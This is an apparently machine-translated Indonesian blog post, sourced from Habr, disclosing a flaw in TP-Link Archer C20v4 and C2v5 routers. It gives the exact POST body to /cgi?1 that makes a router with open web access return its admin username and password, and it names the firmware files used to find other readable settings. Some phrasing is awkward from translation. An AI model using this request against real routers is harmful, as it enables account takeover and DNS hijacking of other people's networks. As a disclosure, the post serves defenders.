Mengikuti hack tp-link

Meretas dengan dns spoofing adalah metode serangan yang cukup umum. Terutama karena kesederhanaannya. Inti dari serangan itu adalah mengubah alamat dns di pengaturan jaringan korban ke alamat server dns penyerang untuk mengembalikan ip palsu. Dan lebih jauh lagi, siapa yang sangat peduli - mulai dari halaman phising dangkal jejaring sosial untuk mencuri kata sandi sampai ke penyedia yang seharusnya berhenti dengan persyaratan pembayaran.

Hal yang paling menarik dalam semua ini, saya memikirkan cara di mana bot, dengan satu atau lain cara, menggunakan router. Dan hari ini saya akan berbicara tentang salah satu metode ini.

Apa yang kita miliki:

  1. Router Archer c20v4 baru, tepat di luar kotak, dengan firmware resmi terbaru.
  2. Alamat ip eksternal pada antarmuka yang lemah dan akses web terbuka.
  3. Kata sandi cukup rumit untuk tidak khawatir tentang pemilihannya dan lingkaran terbatas orang yang mengetahuinya.
  4. Setelah sehari: dns spoofing dan semua permintaan dibungkus dengan rintisan.

Apa yang Anda butuhkan:
Cari tahu cara mengakses perangkat.

Pertama-tama, pada pasien uji, semua bug lama yang diketahui yang ditemukan di Google diuji. Tentu saja, tidak ada yang berhasil.

Sebuah skrip ditemukan pada github ( tyk ) yang memungkinkan Anda untuk mengeksekusi perintah dari jarak jauh pada model C20i dan C2 dari root. Agak tidak apa yang kita butuhkan, tetapi tentukan arah yang benar.

Semua fungsi memiliki "shell" yang sama untuk permintaan - ini adalah permintaan POST untuk url / cgi? 2 (dan 7), " [setup_name # 0,0,0,0,0,0,0 # # 0,0,0,0,0 , 0] "dan pengarah khusus.

Unduh kode sumber firmware kami dari tp-link situs resmi dan bongkar. Karena garis router sama, maka perangkat lunak harus setidaknya sedikit mirip, bukan?

grep
grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true); 


Bingo Nama file mengisyaratkan bahwa itu akan sangat menarik lebih lanjut. Kami menemukan dalam kode sebuah baris di mana kami melihat "cgi? 2" yang dihargai. Di bawah ini adalah fungsi lengkap:

doSetUsrName
  function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); } 


Fungsi ini, ketika dijalankan, memanggil yang lain - getUsrName ().

Fungsi login:

getUsrName
  function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); } 


Tapi jangan lakukan apa-apa dengan login. Kami tertarik pada kata sandi. Kita tahu bahwa login disimpan dalam variabel adminName, di dalam objek USER_CFG. Pencarian di sumber memberikan hasil berikut: (Saya hanya akan meninggalkan hasil yang diinginkan)

Grep output
 grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml 


Buka dikurangi_data_model.xml dan temukan fragmen kode berikut di dalamnya:

XML
 <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg> 


Di sini kita telah menyimpan variabel "AdminName" yang sudah dikenal dan di sebelahnya - AdminPwd. Kedengarannya seperti kebenaran.

Sekarang kita hanya perlu membentuk permintaan POST yang benar, di mana kita perlu menanggapi dengan data yang diperlukan untuk router. Kita kembali ke skrip dari github dan melihat bagaimana melakukannya di sana:

data
 data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" ) 


Dengan analogi, kami membentuk permintaan kami:

data
 "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n" 


IIIiii kirim. Di Wireshark, paketnya terlihat seperti ini:

permintaan


Kami melihat jawabannya:

jawabannya


Pembaca yang penuh perhatian akan melihat bahwa permintaan POST telah dikirim ke "/ cgi? 1", dan tidak seperti dalam skrip ke "/ cgi? 2". Benar juga. Kita hanya perlu mengetahui kata sandinya. Setelah menerima data untuk otorisasi, Anda sudah dapat melakukan aib seragam.

Masuk:

DAPATKAN permintaan


Dan kami sudah berwenang untuk meretas data apa pun yang kami anggap penting hanya dengan melihat pada file reduced_data_model.xml:

permintaan


jawabannya


permintaan


jawabannya


Saat ini, kode sumber router C20v4 telah dihapus dari situs web Tp-Link dan kode V5 telah diposting sebagai gantinya. Namun sayangnya, belum ada firmware resmi.

Berita baiknya: Kerentanan ini hanya dieksploitasi jika akses web terbuka untuk semua orang.
Berita buruknya: bot seseorang sudah mengetuk alamat eksternal dengan permintaan yang benar.

Selain model ArcherC20V4 , model ArcherC2V5 juga dipengaruhi oleh kerentanan ini .

Source: https://habr.com/ru/post/id419071/


All Articles